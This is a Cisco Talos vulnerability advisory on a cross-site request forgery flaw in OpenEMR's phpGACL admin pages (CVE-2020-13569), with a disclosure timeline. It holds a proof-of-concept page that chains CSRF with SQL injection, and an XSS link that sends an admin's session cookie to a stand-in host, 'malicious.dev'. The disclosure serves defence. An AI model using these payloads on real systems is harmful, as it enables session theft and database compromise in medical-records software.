Talos Vulnerability Report

TALOS-2020-1180

OpenEMR GACL cross-site request forgery vulnerability

JANUARY 27, 2021

CVE NUMBER

CVE-2020-13569

Summary

A cross-site request forgery vulnerability exists in the GACL functionality of OpenEMR 5.0.2 and development version 6.0.0 (commit babec93f600ff1394f91ccd512bcad85832eb6ce). A specially crafted HTTP request can lead to the execution of arbitrary requests in the context of the victim. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

OpenEMR 5.0.2
OpenEMR development version 6.0.0 (commit babec93f600ff1394f91ccd512bcad85832eb6ce)

Product URLs

https://www.open-emr.org/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Details

OpenEMR is an open-source medical practice management software, written in PHP, which features electronic medical records, practice management for a medical practice, scheduling and electronic billing.

OpenEMR uses phpGACL for managing a permission system for its users. As shown in TALOS-2020-1179 and TALOS-2020-1177, phpGACL is vulnerable to multiple SQL injection and XSS issues. OpenEMR ships the latest version of phpGACL, together with a small modification at the top of most of its files for adding OpenEMR authentication:

```
//First make sure user has access
require_once("../../interface/globals.php");

use OpenEMR\Common\Acl\AclMain;

//ensure user has proper access
if (!AclMain::aclCheckCore('admin', 'acl')) {
            echo xlt('ACL Administration Not Authorized');
            exit;
}
```

This makes sure that the phpGACL interface is only accessible to authorized users.

Normally, OpenEMR employs CSRF protection by using the following pattern in the pages that can be requested directly:

```
use OpenEMR\Common\Csrf\CsrfUtils;

if (!CsrfUtils::verifyCsrfToken($_POST["csrf_token_form"])) {
    CsrfUtils::csrfNotVerified();
}
```

This check however is missing across all the pages defined by phpGACL, making all requests directed to the `gacl/` subdirectory vulnerable to cross-site request forgery.

By exploiting this missing CSRF issue together with the vulnerabilities described in TALOS-2020-1179 and TALOS-2020-1177, an attacker could direct an OpenEMR admin to a malicious website that would be able to perform a cross-site request that exploits either a SQL injection or an XSS, leading to stealing OpenEMR administrator credentials and executing arbitrary queries in its underlaying database.

Exploit Proof of Concept

The following proof-of-concept assumes that an attacker sets up a server containing a page with the following contents:

```
<body><pre id='out'></pre></body>
<script>
    var http = new XMLHttpRequest();
    var url = 'http://openemr.dev/gacl/admin/edit_group.php?site=default';
    var params = 'action=Submit&parent_id=1234 union select 1,2,sleep(5)&name=1';
    http.open('POST', url, true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.withCredentials = true;
    http.onreadystatechange = function() {
        if(http.readyState == 4) {
            var elem = document.getElementById('out');
            elem.innerHTML += 'done\n';
        }
    }
    http.send(params);
    var elem = document.getElementById('out');
    elem.innerHTML = 'Waiting... ';
</script>
```

If an OpenEMR admin is directed to such page, a POST request will be executed towards the OpenEMR instance “openemr.dev”, exploiting one of the SQL injections described in TALOS-2020-1179. This is possible because no CSRF protection is implemented.

Similarly, the XSS issues described in TALOS-2020-1177 can be abused against OpenEMR. These are reproducible by having an OpenERM admin to click on a link like the following:

```
http://openemr.dev/gacl/admin/acl_admin.php?action=\"><script>window.location.href="http://malicious.dev/"%2bdocument.cookie</script>
```

This would trigger a request towards “malicious.dev”, stealing the session cookie for the admin session. This exploits both the XSS issue in phpGACL, the missing CSRF check described in the current issue, and also the missing “httpOnly” flag in OpenEMR’s session cookie.

Note however, that while the session stealing would be prevented by simply setting the “httpOnly” flag, OpenEMR deliberately decided to not do so, as we can read from `Common/Session/SessionUtil.php`:

```
<?php
/**
 * start/destroy session/cookie for OpenEMR or OpenEMR (patient) portal
 *
 * OpenEMR session/cookie strategy:
 *  1. The vital difference between the OpenEMR and OpenEMR (patient) portal session/cookie is the
 *     cookie_httponly setting.
 *     a. For core OpenEMR, need to set cookie_httponly to false, since javascript needs to be able to
 *        access/modify the cookie to support separate logins in OpenEMR. This is important
 *        to support in OpenEMR since the application needs to robustly support access of
 *        separate patients via separate logins by same users. This is done via custom
 *        restore_session() javascript function; session IDs are effectively saved in the
 *        top level browser window.
 *     b. For (patient) portal OpenEMR, setting cookie_httponly to true. Since only one patient will
 *        be logging into the patient portal, can set this to true, which will help to prevent XSS
 *        vulnerabilities.
```

Timeline

2020-10-23 - Vendor Disclosure
2021-01-05 - Vendor Patched
2021-01-27 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.